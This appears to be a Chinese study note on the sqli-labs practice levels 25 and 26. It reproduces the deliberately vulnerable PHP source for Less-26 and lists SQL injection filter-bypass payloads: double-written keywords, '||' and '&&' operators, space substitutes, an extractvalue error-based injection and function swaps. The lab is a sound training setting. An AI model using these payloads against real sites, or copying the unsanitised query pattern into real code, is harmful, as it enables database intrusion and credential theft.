less25
过滤了or和and,参数/i是大小写都敏感
方法:
(1)大小写变形 Or,OR,oR
无法绕过本过滤机制(大小写敏感)
(2)编码,hex,urlencode
(3)添加注释/or/
(4)利用符号 and=&& or=||
在url中&&会把后面全部注释掉,所以将&&转化为url编码
?id=1 %26%261=1--+
?id=-1'||1=2--+
(5)根据过滤机制双写and
?id=1' anandd 1=2--+
less26
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-26 Trick with comments</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:40px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
//fiddling with comments
$id= blacklist($id);
echo "<br>";
echo $id;
echo "<br>";
$hint=$id;
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
echo $sql;
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-26.jpg" />
</br>
</br>
</br>
<img src="../images/Less-26-1.jpg" />
</br>
</br>
<font size='4' color= "#33FFFF">
<?php
echo "Hint: Your Input is Filtered with following result: ".$hint;
?>
</font>
</center>
</body>
</html>
Less-26后台的源代码中不仅是将and,or,–,#这些SQL关键字和注释符号过滤了,并且连空格这些也过滤了。
空格替换
注释符绕过(注释符没有被过滤的情况下)
?id=1'/**/and/**/1=1
编码绕过
本关可能有的朋友在 windows 下无法使用一些特殊的字符代替空格,此处是因为 apache 的解析的问题,更换到 linux 平台下才行。
在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
?id=1%27oorr(length(database())=8)%23anandd%271%27=%271
注释符绕过
可以构造类似于1’ and ‘1’='1
将前后两个单引号闭合掉
构造less的payload使其出现错误页面
?id=0%27||%271%27=%272
也可以使用不需要空格的报错注入
payload
?id=0'||extractvalue(1,concat(0x7e,database(),0x7e))||'1'='1
大小写、双写绕过
空格绕过
空格可以用括号、/**/、tab、回车(url中为%0a)、`(反引号)代替
逻辑字符绕过
and,or用&&,||绕过
等号绕过
等号用like代替
逗号绕过
select 1,2,3
join是连接意思
select substr(‘abc’,1,1);
select * from users limit 0,1;
函数名绕过
sleep()->benchmark()
ascii()->ord()
– 绕过
用#代替